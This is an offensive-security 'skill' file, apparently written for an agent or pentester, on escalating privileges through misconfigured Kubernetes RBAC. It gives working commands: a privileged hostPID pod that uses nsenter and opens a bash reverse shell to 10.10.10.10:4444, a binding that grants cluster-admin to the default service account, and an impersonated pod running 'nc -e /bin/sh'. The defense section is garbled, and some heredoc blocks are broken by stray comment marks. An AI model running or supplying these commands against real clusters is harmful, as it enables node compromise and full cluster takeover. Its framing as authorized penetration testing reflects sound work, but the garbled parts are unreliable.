Kubernetes Rbac Exploitation

---
name: kubernetes-rbac-exploitation
description: >
  Exploit misconfigured Kubernetes Role-Based Access Control (RBAC) to escalate privileges 
  within a cluster. This skill covers identifying overly permissive roles and bindings, and 
  leveraging them to gain cluster-admin access or compromise the host nodes.
domain: cybersecurity
subdomain: penetration-testing
category: Cloud Security
difficulty: advanced
estimated_time: "4-6 hours"
mitre_attack:
  tactics: [TA0001, TA0004, TA0008]
  techniques: [T1613, T1078.004, T1548]
platforms: [kubernetes, cloud]
tags: [kubernetes, k8s, rbac, privilege-escalation, pentesting, cloud-security, containers]
tools: [kubectl, curl, custom-scripts]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---

# Kubernetes RBAC Exploitation

## When to Use
- After gaining initial access to a Kubernetes pod (e.g., via a web vulnerability) and obtaining the pod's service account token.
- When performing a white-box security review of a Kubernetes cluster's RBAC definitions to identify potentially dangerous privilege escalation vectors.


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Environment Enumeration

```bash
# export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}

# kubectl auth can-i --list
```

### Phase 2: Exploiting `create pods` (with Volume Mounts)

```bash
# cat <<EOF > malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: root-shell
spec:
  containers:
  - name: shell
    image: ubuntu
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" ]
    securityContext:
      privileged: true
  hostPID: true
  hostNetwork: true
EOF

kubectl apply -f malicious-pod.yaml
```

### Phase 3: Exploiting `bind` and `escalate` (ClusterRoles)

```bash
# # cat <<EOF > malicious-rolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: malicious-binding
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
EOF

kubectl create -f malicious-rolebinding.yaml
```

### Phase 4: Exploiting `impersonate`

```bash
# kubectl auth can-i create pod --as system:admin
kubectl run rootshell --image=alpine --as system:admin -- sh -c "nc -e /bin/sh 10.10.10.10 4444"
```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Check Permissions ] --> B{Can Create Pods ]}
    B -->|Yes| C[Deploy Privileged Pod ]
    B -->|No| D[Check Role Bindings ]
    D -->|Can Bind/Escalate | E[Grant cluster-admin ]
    D -->|Can Impersonate | F[Impersonate system:admin ]
```

## 🔵 Blue Team Detection & Defense
- **Audit Logging**: **Principle of Least Privilege**: **Pod Security Admission (PSA)**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Kubernetes Rbac Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- CyberArk: [Securing Kubernetes Clusters](https://www.cyberark.com/resources/threat-research-blog)
- Kubernetes Auth Docs: [RBAC Authorization](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)